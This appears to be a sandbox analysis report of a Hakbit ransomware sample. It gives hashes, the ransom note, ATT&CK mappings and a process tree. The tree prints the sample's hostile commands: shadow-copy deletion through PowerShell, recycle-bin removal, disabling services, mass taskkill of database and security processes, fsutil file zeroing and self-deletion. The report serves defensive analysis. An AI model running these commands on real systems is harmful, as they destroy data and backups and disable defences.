hakbit | 60b290310f67adb0ae186b4b938ca466a6b55653b2519261fa425127f5500a1f

Resubmissions

12-09-2024 02:23

240912-cvfznswere 10

04-09-2024 00:09

240904-afvheascla 10

03-09-2024 18:57

240903-xl8csavfrb 10

03-09-2024 18:12

240903-ws828asgnm 10

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03-09-2024 18:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Ransomware/Client-2.exe
Size

80KB
MD5

8152a3d0d76f7e968597f4f834fdfa9d
SHA1

c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
SHA256

69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
SHA512

eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
SSDEEP

1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Score

10^/10

hakbit credential_access discovery evasion execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note

To recover your data contact the email below [email protected] Key Identifier: umin5W2u1lGR6W6xv/u0i+MHUatf9iAg1y1gkBFWPsOXFmmi5ti16qKcOE+AEOp06lxdy0i7WdQ0VnOKA9+KlNMB/PxI2Hsa2SmmrLow3j3x4fiOtk2vSyfX8k1zFcJPrH4dSDO6zwpTmAwcr45quIuoovo5lpmH4Eu2aR8VCF4qrA/bWgUYaiH6hSj9l7oZqG0nDSt8vDAqkuZjevn5DWESgu2BimOodtWPEyKVBkh4vj4g3olZROTMzHS3Xk9JqaMI0ynVHyYPh9xqJWFyqHPDDIZlfHZfzWty99wLcIJK2lPZIrRNC6HmEJC2hm18vwyHhXsmPbnV2tlyFFDE8DzsuKElSCBH/Tw9m0VvuNtooK8UhXqL2P8WxzUbn2xj3y3L+ZYPxDROxpuMJ+b36JfYkJwzAL19KSyqecZxYRFLb9n72YHB1622vqcBXxAjympmJY/c5clp5l4HUrNKntc463vde2oGIU2MYqn3ZQLz36iuJAC6eWzbxCq3dzzIUfCspYpaegQHyzYN2U4PSu8hKmlNfgyVfXmDnjf67h3Ar9Uf9uSCf/1CF24aMR033DEIqBSHVxhPM7lffg4w9deFqK/QU/pN3lGUcbRVM1B0SKKjm1MZKInk4Xfid8wnMnn++ojmjy6nmYzQJ5NlozG0MLwzCkg0RUUR0zuedB4= Number of files that were processed is: 481

Emails

[email protected]

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (52) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Deletes itself 1 IoCs

pid	Process
3808	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	Client-2.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2300	sc.exe
2292	sc.exe
2496	sc.exe
784	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3884	cmd.exe
3444	PING.EXE

Kills process with taskkill 47 IoCs

evasion

pid	Process
2784	taskkill.exe
2844	taskkill.exe
2292	taskkill.exe
1592	taskkill.exe
1052	taskkill.exe
2308	taskkill.exe
2420	taskkill.exe
2860	taskkill.exe
2260	taskkill.exe
2936	taskkill.exe
2316	taskkill.exe
3048	taskkill.exe
1632	taskkill.exe
924	taskkill.exe
2916	taskkill.exe
2944	taskkill.exe
2952	taskkill.exe
2768	taskkill.exe
2092	taskkill.exe
2840	taskkill.exe
2392	taskkill.exe
2512	taskkill.exe
2500	taskkill.exe
2200	taskkill.exe
1456	taskkill.exe
2136	taskkill.exe
2244	taskkill.exe
2160	taskkill.exe
2908	taskkill.exe
2824	taskkill.exe
2268	taskkill.exe
1972	taskkill.exe
1004	taskkill.exe
1068	taskkill.exe
2732	taskkill.exe
3064	taskkill.exe
2880	taskkill.exe
2752	taskkill.exe
2724	taskkill.exe
2764	taskkill.exe
1156	taskkill.exe
2620	taskkill.exe
2776	taskkill.exe
2960	taskkill.exe
3068	taskkill.exe
2656	taskkill.exe
2348	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3648	notepad.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3444	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe
2068	Client-2.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	2068	Client-2.exe
Token: SeDebugPrivilege	2960	taskkill.exe
Token: SeDebugPrivilege	2752	taskkill.exe
Token: SeDebugPrivilege	2200	taskkill.exe
Token: SeDebugPrivilege	2512	taskkill.exe
Token: SeDebugPrivilege	2160	taskkill.exe
Token: SeDebugPrivilege	2268	taskkill.exe
Token: SeDebugPrivilege	2844	taskkill.exe
Token: SeDebugPrivilege	2880	taskkill.exe
Token: SeDebugPrivilege	2732	taskkill.exe
Token: SeDebugPrivilege	2776	taskkill.exe
Token: SeDebugPrivilege	3064	taskkill.exe
Token: SeDebugPrivilege	2620	taskkill.exe
Token: SeDebugPrivilege	2936	taskkill.exe
Token: SeDebugPrivilege	2908	taskkill.exe
Token: SeDebugPrivilege	2500	taskkill.exe
Token: SeDebugPrivilege	2824	taskkill.exe
Token: SeDebugPrivilege	2768	taskkill.exe
Token: SeDebugPrivilege	2952	taskkill.exe
Token: SeDebugPrivilege	2764	taskkill.exe
Token: SeDebugPrivilege	2724	taskkill.exe
Token: SeDebugPrivilege	2860	taskkill.exe
Token: SeDebugPrivilege	2260	taskkill.exe
Token: SeDebugPrivilege	1068	taskkill.exe
Token: SeDebugPrivilege	2136	taskkill.exe
Token: SeDebugPrivilege	1972	taskkill.exe
Token: SeDebugPrivilege	1456	taskkill.exe
Token: SeDebugPrivilege	2092	taskkill.exe
Token: SeDebugPrivilege	1004	taskkill.exe
Token: SeDebugPrivilege	1156	taskkill.exe
Token: SeDebugPrivilege	2308	taskkill.exe
Token: SeDebugPrivilege	1592	taskkill.exe
Token: SeDebugPrivilege	2348	taskkill.exe
Token: SeDebugPrivilege	1052	taskkill.exe
Token: SeDebugPrivilege	2316	taskkill.exe
Token: SeDebugPrivilege	2840	taskkill.exe
Token: SeDebugPrivilege	2292	taskkill.exe
Token: SeDebugPrivilege	3068	taskkill.exe
Token: SeDebugPrivilege	2244	taskkill.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	924	taskkill.exe
Token: SeDebugPrivilege	2656	taskkill.exe
Token: SeDebugPrivilege	2392	taskkill.exe
Token: SeDebugPrivilege	2916	taskkill.exe
Token: SeDebugPrivilege	2420	taskkill.exe
Token: SeDebugPrivilege	3048	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2068	Client-2.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2068	Client-2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 3052	2068	Client-2.exe	30
PID 2068 wrote to memory of 3052	2068	Client-2.exe	30
PID 2068 wrote to memory of 3052	2068	Client-2.exe	30
PID 2068 wrote to memory of 784	2068	Client-2.exe	31
PID 2068 wrote to memory of 784	2068	Client-2.exe	31
PID 2068 wrote to memory of 784	2068	Client-2.exe	31
PID 2068 wrote to memory of 2496	2068	Client-2.exe	34
PID 2068 wrote to memory of 2496	2068	Client-2.exe	34
PID 2068 wrote to memory of 2496	2068	Client-2.exe	34
PID 2068 wrote to memory of 2292	2068	Client-2.exe	120
PID 2068 wrote to memory of 2292	2068	Client-2.exe	120
PID 2068 wrote to memory of 2292	2068	Client-2.exe	120
PID 2068 wrote to memory of 2300	2068	Client-2.exe	36
PID 2068 wrote to memory of 2300	2068	Client-2.exe	36
PID 2068 wrote to memory of 2300	2068	Client-2.exe	36
PID 2068 wrote to memory of 2268	2068	Client-2.exe	37
PID 2068 wrote to memory of 2268	2068	Client-2.exe	37
PID 2068 wrote to memory of 2268	2068	Client-2.exe	37
PID 2068 wrote to memory of 2936	2068	Client-2.exe	39
PID 2068 wrote to memory of 2936	2068	Client-2.exe	39
PID 2068 wrote to memory of 2936	2068	Client-2.exe	39
PID 2068 wrote to memory of 2200	2068	Client-2.exe	41
PID 2068 wrote to memory of 2200	2068	Client-2.exe	41
PID 2068 wrote to memory of 2200	2068	Client-2.exe	41
PID 2068 wrote to memory of 2260	2068	Client-2.exe	43
PID 2068 wrote to memory of 2260	2068	Client-2.exe	43
PID 2068 wrote to memory of 2260	2068	Client-2.exe	43
PID 2068 wrote to memory of 2764	2068	Client-2.exe	44
PID 2068 wrote to memory of 2764	2068	Client-2.exe	44
PID 2068 wrote to memory of 2764	2068	Client-2.exe	44
PID 2068 wrote to memory of 2824	2068	Client-2.exe	46
PID 2068 wrote to memory of 2824	2068	Client-2.exe	46
PID 2068 wrote to memory of 2824	2068	Client-2.exe	46
PID 2068 wrote to memory of 2844	2068	Client-2.exe	48
PID 2068 wrote to memory of 2844	2068	Client-2.exe	48
PID 2068 wrote to memory of 2844	2068	Client-2.exe	48
PID 2068 wrote to memory of 2860	2068	Client-2.exe	49
PID 2068 wrote to memory of 2860	2068	Client-2.exe	49
PID 2068 wrote to memory of 2860	2068	Client-2.exe	49
PID 2068 wrote to memory of 2960	2068	Client-2.exe	50
PID 2068 wrote to memory of 2960	2068	Client-2.exe	50
PID 2068 wrote to memory of 2960	2068	Client-2.exe	50
PID 2068 wrote to memory of 2776	2068	Client-2.exe	51
PID 2068 wrote to memory of 2776	2068	Client-2.exe	51
PID 2068 wrote to memory of 2776	2068	Client-2.exe	51
PID 2068 wrote to memory of 2768	2068	Client-2.exe	52
PID 2068 wrote to memory of 2768	2068	Client-2.exe	52
PID 2068 wrote to memory of 2768	2068	Client-2.exe	52
PID 2068 wrote to memory of 2724	2068	Client-2.exe	53
PID 2068 wrote to memory of 2724	2068	Client-2.exe	53
PID 2068 wrote to memory of 2724	2068	Client-2.exe	53
PID 2068 wrote to memory of 2952	2068	Client-2.exe	54
PID 2068 wrote to memory of 2952	2068	Client-2.exe	54
PID 2068 wrote to memory of 2952	2068	Client-2.exe	54
PID 2068 wrote to memory of 2908	2068	Client-2.exe	55
PID 2068 wrote to memory of 2908	2068	Client-2.exe	55
PID 2068 wrote to memory of 2908	2068	Client-2.exe	55
PID 2068 wrote to memory of 2752	2068	Client-2.exe	56
PID 2068 wrote to memory of 2752	2068	Client-2.exe	56
PID 2068 wrote to memory of 2752	2068	Client-2.exe	56
PID 2068 wrote to memory of 2500	2068	Client-2.exe	57
PID 2068 wrote to memory of 2500	2068	Client-2.exe	57
PID 2068 wrote to memory of 2500	2068	Client-2.exe	57
PID 2068 wrote to memory of 2160	2068	Client-2.exe	58

C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
"C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:3052
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:784
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:2496
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:2292
- C:\Windows\system32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2300
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2268
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2200
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2768
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2908
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:2784
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2732
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2620
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1004
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1456
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1972
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1068
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:924
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2420
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1052
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:2944
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1632
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3048
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1156
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2348
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2916
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1580
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3648
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3884
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3444
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
  2⤵
  - Deletes itself
  PID:3808
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2304

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Assistance\Client\1.0\es-ES\Help_MValidator.Lck.energy[[email protected]]

Filesize
4KB

MD5
1162628a88ff2e87583b5fd61730d748

SHA1
677abdd187c4db31c50f6b948ef3fb1be8b7cb74

SHA256
09e7d6f8201ff76f1917806d86d8a4d560a7398fb602e6fb8571a8166ca97d62

SHA512
26a9bbe07d8a6e3634fa6e4617d2b5e0aed52f5de37e95d61a04b07912035deda5e544996159cfb4d5f31996f4aa6c351caba74ca690e01e9647499c0b7e6af2

Download Submit
C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

Filesize
180KB

MD5
d5e90d958d7cf8255c1be19f30ddcc65

SHA1
024541e9b9b6bf0a27926602a02cc58ef94303ce

SHA256
e9ffe9c753c407e2239c254e537df522f698934b1fef87cc8a554d276cca3955

SHA512
13ee6dff1ba7b7890dd0cd373b3efa7b8810fb3f689b3b3609baa181a652d1ddb689791fcda1071bf277c26f70c189c9a3ca8d0c500e9cf757dad07d880ec937

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d4470eabc8dd1ddbdd54e3aea2419d18

SHA1
83b77bd37f25cf0099657e7e40c5ecac8f2e739c

SHA256
dfc09ff7085ea5a6b18991670f36bd97c76f4d1f873f66eb6cd3262e3ebb29d5

SHA512
c4fc9c2186bbcbfc5907ff21c3ad1da53efccf218b3aabdc48f96439b3b225ee37a99312df5381f37fce9ce142c8ad3513389343603c65e4fa7194854e1ab611

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
828B

MD5
6f84a27257585de480dddd523402bd44

SHA1
1ab6d3fa802e1b12cd6f349019179b8ccc876c8c

SHA256
701f4a191b0be63c295cd8fb2a83457489cdceacf45de63915c30cdf698cd8e2

SHA512
9eaa0a3b287f793293e8e4bb03d9d80c7ecb8b89d5f7ec18c88abe3b02830d94e2b5cf016941dfec9a5241e39f09413872f29f0bd0a9d815ecc3df2d712b3ae3

Download Submit
C:\Users\Admin\Desktop\RenameMount.xlsx.energy[[email protected]]

Filesize
12KB

MD5
9670aa3020c9f134969de54189e3359c

SHA1
8055644e0fb46356e28e11ffc1d0bb0233b6dc38

SHA256
a89c8f3a4733c082881d2a30cd3c1279f2a1fc9a401db9da961acec8adb99713

SHA512
54afdc0104cd538c68129e444a2cb4a2f857e5bd75e281dc758041d52d300a2c3ea56b81f29491d11b7d8d663519a4c332701c4a365e74e00c55dd5259172d15

Download Submit
memory/1580-9-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/1580-10-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2068-0-0x000007FEF5923000-0x000007FEF5924000-memory.dmp

Filesize
4KB

Download
memory/2068-336-0x000007FEF5923000-0x000007FEF5924000-memory.dmp

Filesize
4KB

Download
memory/2068-371-0x000007FEF5920000-0x000007FEF630C000-memory.dmp

Filesize
9.9MB

Download
memory/2068-3-0x000007FEF5920000-0x000007FEF630C000-memory.dmp

Filesize
9.9MB

Download
memory/2068-1-0x0000000000900000-0x000000000091A000-memory.dmp

Filesize
104KB

Download
memory/2068-594-0x000007FEF5920000-0x000007FEF630C000-memory.dmp

Filesize
9.9MB

Download